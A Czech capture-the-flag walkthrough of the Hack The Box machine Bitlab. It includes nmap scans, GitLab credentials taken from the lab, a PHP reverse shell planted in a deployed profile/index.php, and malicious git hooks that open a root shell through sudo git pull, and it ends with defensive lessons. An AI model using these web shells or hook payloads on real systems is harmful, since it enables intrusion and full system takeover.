Bitlab
Úvod a kontext
Bitlab není o zranitelnosti v GitLabu samotném, ale o tom, co všechno útočník získá z příliš otevřeného vývojového prostředí. Veřejně přístupný GitLab, nalezené přihlašovací údaje clave / 11des0081x a dostupné repozitáře otevřou cestu ke zdrojovým kódům, databázovým konfiguracím i aplikaci, která se nasazuje na web.
Nejdůležitější není samotné přihlášení do GitLabu, ale schopnost změnit kód tak, aby si aplikace sama otevřela shell. Root část pak dobře ukazuje jiný druh chyby: administrativní sudo git pull spuštěný nad repozitářem, jehož obsah i hooky může ovlivnit útočník.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
nmap -p 1-65535 -T4 -A -sC -v $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
| 256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_ 256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open http nginx
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vyhledání otevřených portů (2)
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
nmap -sU -T4 -v $IP
Analýza zjištění
GitLab jako zdroj přístupů a konfigurace
Veřejný GitLab neprozradil jen technologii, ale i konkrétní přístupy a konfiguraci aplikace. Po přihlášení pod účtem clave je možné z repozitářů vyčíst další tajemství, například databázové údaje pro aplikaci profiles.
user: clave / 11des0081x
dbname=profiles user=profiles password=profiles
Získání přístupu
Vložení payloadu do aplikace
Jakmile mám přístup do repozitáře a kódu, dává smysl upravit přímo soubor, který se nasazuje na web. Tady nejde o exploit GitLabu, ale o důsledek toho, že vývojové prostředí a běžící aplikace nejsou od sebe oddělené.
profile/index.php: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.228/4000 0>&1'"); ?>
Získání user flagu
Po nasazení upraveného profile/index.php vznikne shell pod účtem clave, což potvrzuje i dostupnost user.txt.
cat clave/user.txt
__CENSORED__
Eskalace oprávnění
Zneužití sudo git pull
Lokálně je nebezpečný příkaz sudo git pull. Pokud může útočník zapisovat do pracovního adresáře a do .git/hooks, stačí přidat pomocný skript a nakopírovat ho i na hooky, které se spouštějí během pull nebo merge.
echo '#!/bin/bash' > .git/hooks/pre-receive
echo 'bash -i >& /dev/tcp/10.10.14.228/4004 0>&1' >> .git/hooks/pre-receive
chmod +x .git/hooks/pre-receive
cp .git/hooks/pre-receive .git/hooks/post-merge
cp .git/hooks/pre-receive .git/hooks/post-checkout
sudo git pull
Získání root flagu
Jakmile git pull běží pod rootem ve writable repozitáři, pomocný hook se změní v přímé spuštění kódu s nejvyššími právy.
cat /root/root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Veřejný GitLab zde nebyl jen informační únik. Poskytl konkrétní účet
clave, přístup k repozitářům a konfiguraciprofiles, takže útočník mohl měnit přímo běžící aplikaci. - User přístup vznikl úpravou
profile/index.php, tedy zneužitím vazby mezi verzovacím systémem a nasazeným webem. - Root nevznikl z další webové chyby, ale z provozního zlozvyku:
sudo git pullv repozitáři, do kterého může zapisovat kompromitovaný uživatel.
Co si odnést do praxe
- GitLab a podobné vývojové platformy musí být chráněné stejně vážně jako produkční aplikace. Přístupy, issue, repozitáře i konfigurační soubory často stačí k plnému převzetí běžící služby.
- Nasazení, které přímo propojuje repozitář a webovou aplikaci, dramaticky zvyšuje dopad kompromitace vývojového účtu. Útočník pak nemusí hledat RCE v aplikaci, protože si ho jednoduše zapíše do zdrojáku.
sudo git pullnebo podobné operace nesmí běžet nad repozitářem, který může měnit neprivilegovaný uživatel. Writable.gitadresář a hooky z toho dělají přímý privesc vektor.